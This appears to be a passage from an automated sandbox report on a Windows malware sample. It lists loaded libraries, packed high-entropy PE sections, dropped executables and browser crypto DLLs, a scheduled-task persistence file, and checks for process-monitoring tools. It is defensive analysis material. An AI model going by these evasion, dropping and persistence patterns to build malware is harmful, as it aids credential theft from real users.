Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1808384 > 1048576

Source: file.exe

Static PE information: Raw size of yxhcafke is bigger than: 0x100000 < 0x19fa00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yxhcafke:EW;sfevywmg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yxhcafke:EW;sfevywmg:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Unpacked PE file: 22.2.DocumentsJDGCGHCGHC.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kjkktqrf:EW;smoqjete:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kjkktqrf:EW;smoqjete:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kjkktqrf:EW;smoqjete:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kjkktqrf:EW;smoqjete:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kjkktqrf:EW;smoqjete:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kjkktqrf:EW;smoqjete:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kjkktqrf:EW;smoqjete:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kjkktqrf:EW;smoqjete:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Unpacked PE file: 28.2.93734d82d0.exe.530000.0.unpack :EW;.rsrc :W;.idata :W; :EW;htytndph:EW;bowzeile:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;htytndph:EW;bowzeile:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Unpacked PE file: 29.2.ec3f41365f.exe.660000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rfqqnhtf:EW;hswvbhqf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rfqqnhtf:EW;hswvbhqf:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB33480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CB33480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe.26.dr	Static PE information: real checksum: 0x1bc316 should be: 0x363b8
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: real checksum: 0x1e4246 should be: 0x1d7e67
Source: ec3f41365f.exe.26.dr	Static PE information: real checksum: 0x1d2644 should be: 0x1dc3f2
Source: random[1].exe.26.dr	Static PE information: real checksum: 0x43d445 should be: 0x4351d2
Source: 93734d82d0.exe.26.dr	Static PE information: real checksum: 0x43d445 should be: 0x4351d2
Source: file.exe	Static PE information: real checksum: 0x1bc316 should be: 0x1c1a0c
Source: random[1].exe0.26.dr	Static PE information: real checksum: 0x1d2644 should be: 0x1dc3f2
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1e4246 should be: 0x1d7e67
Source: 440009026a.exe.26.dr	Static PE information: real checksum: 0x1bc316 should be: 0x363b8
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x1e4246 should be: 0x1d7e67

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: yxhcafke
Source: file.exe	Static PE information: section name: sfevywmg
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: kjkktqrf
Source: random[1].exe.0.dr	Static PE information: section name: smoqjete
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name:
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name:
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name: kjkktqrf
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name: smoqjete
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name: .taggant
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: kjkktqrf
Source: skotes.exe.22.dr	Static PE information: section name: smoqjete
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: htytndph
Source: random[1].exe.26.dr	Static PE information: section name: bowzeile
Source: random[1].exe.26.dr	Static PE information: section name: .taggant
Source: 93734d82d0.exe.26.dr	Static PE information: section name:
Source: 93734d82d0.exe.26.dr	Static PE information: section name: .rsrc
Source: 93734d82d0.exe.26.dr	Static PE information: section name: .idata
Source: 93734d82d0.exe.26.dr	Static PE information: section name:
Source: 93734d82d0.exe.26.dr	Static PE information: section name: htytndph
Source: 93734d82d0.exe.26.dr	Static PE information: section name: bowzeile
Source: 93734d82d0.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: rfqqnhtf
Source: random[1].exe0.26.dr	Static PE information: section name: hswvbhqf
Source: random[1].exe0.26.dr	Static PE information: section name: .taggant
Source: ec3f41365f.exe.26.dr	Static PE information: section name:
Source: ec3f41365f.exe.26.dr	Static PE information: section name: .rsrc
Source: ec3f41365f.exe.26.dr	Static PE information: section name: .idata
Source: ec3f41365f.exe.26.dr	Static PE information: section name:
Source: ec3f41365f.exe.26.dr	Static PE information: section name: rfqqnhtf
Source: ec3f41365f.exe.26.dr	Static PE information: section name: hswvbhqf
Source: ec3f41365f.exe.26.dr	Static PE information: section name: .taggant
Source: random[2].exe.26.dr	Static PE information: section name:
Source: random[2].exe.26.dr	Static PE information: section name: .idata
Source: random[2].exe.26.dr	Static PE information: section name:
Source: random[2].exe.26.dr	Static PE information: section name: yxhcafke
Source: random[2].exe.26.dr	Static PE information: section name: sfevywmg
Source: random[2].exe.26.dr	Static PE information: section name: .taggant
Source: 440009026a.exe.26.dr	Static PE information: section name:
Source: 440009026a.exe.26.dr	Static PE information: section name: .idata
Source: 440009026a.exe.26.dr	Static PE information: section name:
Source: 440009026a.exe.26.dr	Static PE information: section name: yxhcafke
Source: 440009026a.exe.26.dr	Static PE information: section name: sfevywmg
Source: 440009026a.exe.26.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B536 push ecx; ret		0_2_6CB6B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00ABD91C push ecx; ret		26_2_00ABD92F

Source: file.exe	Static PE information: section name: yxhcafke entropy: 7.954416997813612
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.98073059249349
Source: random[1].exe.0.dr	Static PE information: section name: kjkktqrf entropy: 7.95424683411508
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name: entropy: 7.98073059249349
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name: kjkktqrf entropy: 7.95424683411508
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.98073059249349
Source: skotes.exe.22.dr	Static PE information: section name: kjkktqrf entropy: 7.95424683411508
Source: random[1].exe.26.dr	Static PE information: section name: htytndph entropy: 7.9550986714295
Source: 93734d82d0.exe.26.dr	Static PE information: section name: htytndph entropy: 7.9550986714295
Source: random[1].exe0.26.dr	Static PE information: section name: entropy: 7.982228596775062
Source: random[1].exe0.26.dr	Static PE information: section name: rfqqnhtf entropy: 7.955057156965302
Source: ec3f41365f.exe.26.dr	Static PE information: section name: entropy: 7.982228596775062
Source: ec3f41365f.exe.26.dr	Static PE information: section name: rfqqnhtf entropy: 7.955057156965302
Source: random[2].exe.26.dr	Static PE information: section name: yxhcafke entropy: 7.943987286773438
Source: 440009026a.exe.26.dr	Static PE information: section name: yxhcafke entropy: 7.943987286773438

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDGCGHCGHC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJDGCGHCGHC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007172001\440009026a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDGCGHCGHC.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDGCGHCGHC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
